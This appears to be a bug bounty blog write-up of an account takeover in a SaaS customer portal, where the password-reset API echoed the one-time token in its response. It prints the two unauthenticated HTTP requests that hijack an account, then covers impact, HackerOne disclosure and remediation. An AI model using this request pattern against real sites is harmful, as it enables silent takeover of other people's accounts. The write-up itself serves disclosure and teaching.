Full ATO via Password Reset Token Leaked in API Response

How a customer portal API echoed the one-time reset token in plaintext, making any account silently takeable with two unauthenticated requests no email access required.

The Target

A SaaS platform's customer portal used by enterprise clients to manage their subscriptions, provision product instances, and access billing. The portal handles account management for the platform's entire customer base and serves as the entry point into production environments via SSO.

The Discovery

While testing the password reset flow, I noticed the reset request endpoint returned a JSON body beyond the expected success confirmation. Most platforms return a generic message like "if that email is registered, a link has been sent." This one returned a UUID in the response body.

Cross-referencing with the actual reset email confirmed the UUID in the API response was identical to the token embedded in the reset link the server was leaking the one-time secret in plaintext before the user ever checked their inbox.

The Attack

1

Request a reset for any account: Send an unauthenticated password reset request with the target's email address. The API immediately responds with the victim's one-time reset token in the JSON body no authentication needed.

POST /api/accounts/reset-password
Content-Type: application/json

{"email": "victim@example.com"}

HTTP/1.1 200 OK
{"reset_token": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
2

Complete the reset without email access: Submit the leaked token directly to the set-password endpoint along with a chosen password. The server issues a full session for the victim's account. The victim never receives any indication their account was accessed.

POST /api/accounts/set-password/{reset_token}
Content-Type: application/json

{"password": "AttackerControlled"}

HTTP/1.1 200 OK
{"session_token": "eyJ..."}

Two unauthenticated requests. No email access. No victim interaction. Full session issued.

Confirming the Token Was Real

I ran the attack against a test account I controlled and compared the UUID returned by the API with the token in the reset email they were identical. The server emails and returns the same one-time secret, meaning the email verification step is completely bypassed by reading the response body.

Impact

  • Silent takeover of any portal account knowing only the victim's email address
  • Post-takeover access to the victim's production instances via SSO
  • Full visibility into billing, subscriptions, and enterprise instance management
  • Ability to provision, freeze, or delete the victim's product instances
  • Affects all registered portal users no prior access or interaction required

Timeline

Reported via HackerOne. Triaged and confirmed valid within 4 days. The security team verified the token in the API response matched the emailed reset link and confirmed the vulnerability.

Root Cause

The reset endpoint creates a one-time token, stores it, sends it via email, and also echoes it in the API response. The email channel is supposed to be the security control it proves ownership of the address. Returning the token in the response body bypasses that control entirely and renders the email step meaningless.

Takeaway

Password reset endpoints must never return the token or any reusable identifier in the response. The correct response is a generic confirmation with no actionable data. The reset token belongs only in the email if it appears anywhere else, the email ownership check is already broken.

← Back to Blog